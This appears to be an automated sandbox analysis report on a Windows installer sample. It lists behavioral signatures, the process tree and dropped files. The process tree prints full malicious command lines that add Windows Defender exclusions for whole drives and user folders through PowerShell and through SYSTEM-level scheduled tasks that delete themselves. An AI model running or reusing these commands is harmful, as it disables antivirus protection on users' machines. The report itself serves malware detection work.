Analysis

  • max time kernel
    146s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/10/2026, 10:50

General

  • Target
    install.2.0.04.exe
  • Size 30.5MB
  • Sample261023-mxqa8scf67
  • SHA256 90064d7eb6a7db5e61260bc81120ea78cf4fb7c10fac4f0584e455deab294637
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4156
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4084
    • C:\Users\Public\GXrPMk\WZ6RfP.exe
      "C:\Users\Public\GXrPMk\WZ6RfP.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2100
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:4616
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\GXrPMk\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:5848
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\GXrPMk\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5692
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:4904
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:1716
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:1664
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2036
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:3132
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:5160
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:5664
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:4300
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:5424
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:3012
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:4840
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:5340
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:5036
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:3984
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        PID:1488
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:4728
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:1048
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:2084
                        • C:\Users\Public\GXrPMk\WZ6RfP.exe
                          "C:\Users\Public\GXrPMk\WZ6RfP.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:2460
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\GXrPMk" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:3536
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\GXrPMk" /t REG_DWORD /d 0 /f
                            2⤵
                              PID:2268
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:5268
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:3768
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:2772
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:3412
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:4144
                                • C:\Windows\system32\cmd.exe
                                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  1⤵
                                  • Executes a command shell one-liner
                                  PID:200
                                  • C:\Windows\System32\reg.exe
                                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                    2⤵
                                      PID:3156

                                  Network

                                        MITRE ATT&CK Enterprise v16

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                                        Downloads

                                        0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                        • Size 1KB
                                        • SHA256 e8c0862c9685589c5926fb3d9c7db213b23840817cc01a78a77fa7b6c8e5bd77
                                        • MD5 SHA1 SHA512 TLSH

                                        B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                        • Size 1KB
                                        • SHA256 bb7a3269c725e38c3215e82bf87bb7c612cbe0142420357d0f6ad61c69678660
                                        • MD5 SHA1 SHA512 TLSH

                                        0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                        • Size 512B
                                        • SHA256 18ab913e442ac8df2a2c1e89948bc988a61bf05d86ea05450901eb4b329194a5
                                        • MD5 SHA1 SHA512 TLSH

                                        B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                        • Size 506B
                                        • SHA256 b7737eecb51f5085eeba818744f1af37b9809dcfd1272174fb5a949859c164a1
                                        • MD5 SHA1 SHA512 TLSH

                                        __PSScriptPolicyTest_itlknqix.zqv.psm1

                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_itlknqix.zqv.psm1
                                        • Size 60B
                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                        • MD5 SHA1 SHA512 TLSH

                                        UxEnhance64.dll

                                        • Path C:\Users\Public\GXrPMk\UxEnhance64.dll
                                        • Size 3.1MB
                                        • SHA256 d73fe167b6b3f6d400a1c1bdf416e570e3d8dc99307cecd84a41e3b9c9cf092b
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        WZ6RfP.exe

                                        • Path C:\Users\Public\GXrPMk\WZ6RfP.exe
                                        • Size 135KB
                                        • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        adoresd.dat

                                        • Path C:\Users\Public\GXrPMk\adoresd.dat
                                        • Size 4.8MB
                                        • SHA256 df38e98e3a02ed5b9d5e89d390efff71d4ccd76c6d3a6395bb2e5a82ddd1efc4
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        msadox.tb

                                        • Path C:\Users\Public\GXrPMk\msadox.tb
                                        • Size 8KB
                                        • SHA256 8749676048df7c2a12e5e3c0b95d43ae7e78cf434fcd829c049936ba5f2b533b
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        memory/2100-564-0x000001E6DB800000-0x000001E6DB88A000-memory.dmp

                                        memory/2100-570-0x000001E6DAB00000-0x000001E6DB3D7000-memory.dmp

                                        memory/2100-534-0x00007FFD16540000-0x00007FFD16A5E000-memory.dmp

                                        memory/2100-540-0x000001E6DAB00000-0x000001E6DB3D7000-memory.dmp

                                        memory/2100-542-0x000001E6DAB00000-0x000001E6DB3D7000-memory.dmp

                                        memory/2100-541-0x00007FFD391E0000-0x00007FFD391E2000-memory.dmp

                                        memory/2100-546-0x000001E6DAB00000-0x000001E6DB3D7000-memory.dmp

                                        memory/2100-547-0x000001E6DAB00000-0x000001E6DB3D7000-memory.dmp

                                        memory/2100-548-0x000001E6DAB00000-0x000001E6DB3D7000-memory.dmp

                                        memory/2100-549-0x000001E6DAB00000-0x000001E6DB3D7000-memory.dmp

                                        memory/2100-553-0x000001E6DAB00000-0x000001E6DB3D7000-memory.dmp

                                        memory/2100-565-0x000001E6DB800000-0x000001E6DB88A000-memory.dmp

                                        memory/2100-559-0x000001E6DAB00000-0x000001E6DB3D7000-memory.dmp

                                        memory/2100-533-0x00007FFD391D0000-0x00007FFD391D2000-memory.dmp

                                        memory/2100-563-0x000001E6DB800000-0x000001E6DB88A000-memory.dmp

                                        memory/2100-562-0x000001E6DB800000-0x000001E6DB88A000-memory.dmp

                                        memory/2100-561-0x000001E6DB720000-0x000001E6DB76E000-memory.dmp

                                        memory/2100-569-0x000001E6DAB00000-0x000001E6DB3D7000-memory.dmp

                                        memory/2460-575-0x00007FFD16540000-0x00007FFD16A5E000-memory.dmp

                                        memory/2460-582-0x0000022A02AE0000-0x0000022A033B7000-memory.dmp

                                        memory/2460-579-0x0000022A02AE0000-0x0000022A033B7000-memory.dmp

                                        memory/2460-581-0x00007FFD391E0000-0x00007FFD391E2000-memory.dmp

                                        memory/2460-586-0x0000022A02AE0000-0x0000022A033B7000-memory.dmp

                                        memory/2460-587-0x0000022A02AE0000-0x0000022A033B7000-memory.dmp

                                        memory/2460-589-0x0000022A02AE0000-0x0000022A033B7000-memory.dmp

                                        memory/2460-588-0x0000022A02AE0000-0x0000022A033B7000-memory.dmp

                                        memory/2460-590-0x00007FFD391D0000-0x00007FFD391D2000-memory.dmp

                                        memory/4156-504-0x00007FFD2D4A0000-0x00007FFD2D4B2000-memory.dmp

                                        memory/4156-2-0x0000000003EF0000-0x0000000003EFC000-memory.dmp

                                        memory/4156-527-0x00007FFD2D4A0000-0x00007FFD2D4B2000-memory.dmp

                                        memory/4156-526-0x0000000003EE0000-0x0000000003EEE000-memory.dmp

                                        memory/4156-0-0x0000000003EE0000-0x0000000003EEE000-memory.dmp

                                        memory/4156-1-0x0000000003EE0000-0x0000000003EEE000-memory.dmp

                                        memory/4616-601-0x000001A9F9F10000-0x000001A9F9F32000-memory.dmp

                                        memory/4616-606-0x000001A9F9F60000-0x000001A9F9F7E000-memory.dmp

                                        memory/4616-607-0x000001A9F9F80000-0x000001A9FA032000-memory.dmp

                                        memory/4616-608-0x000001A9F9F50000-0x000001A9F9F5A000-memory.dmp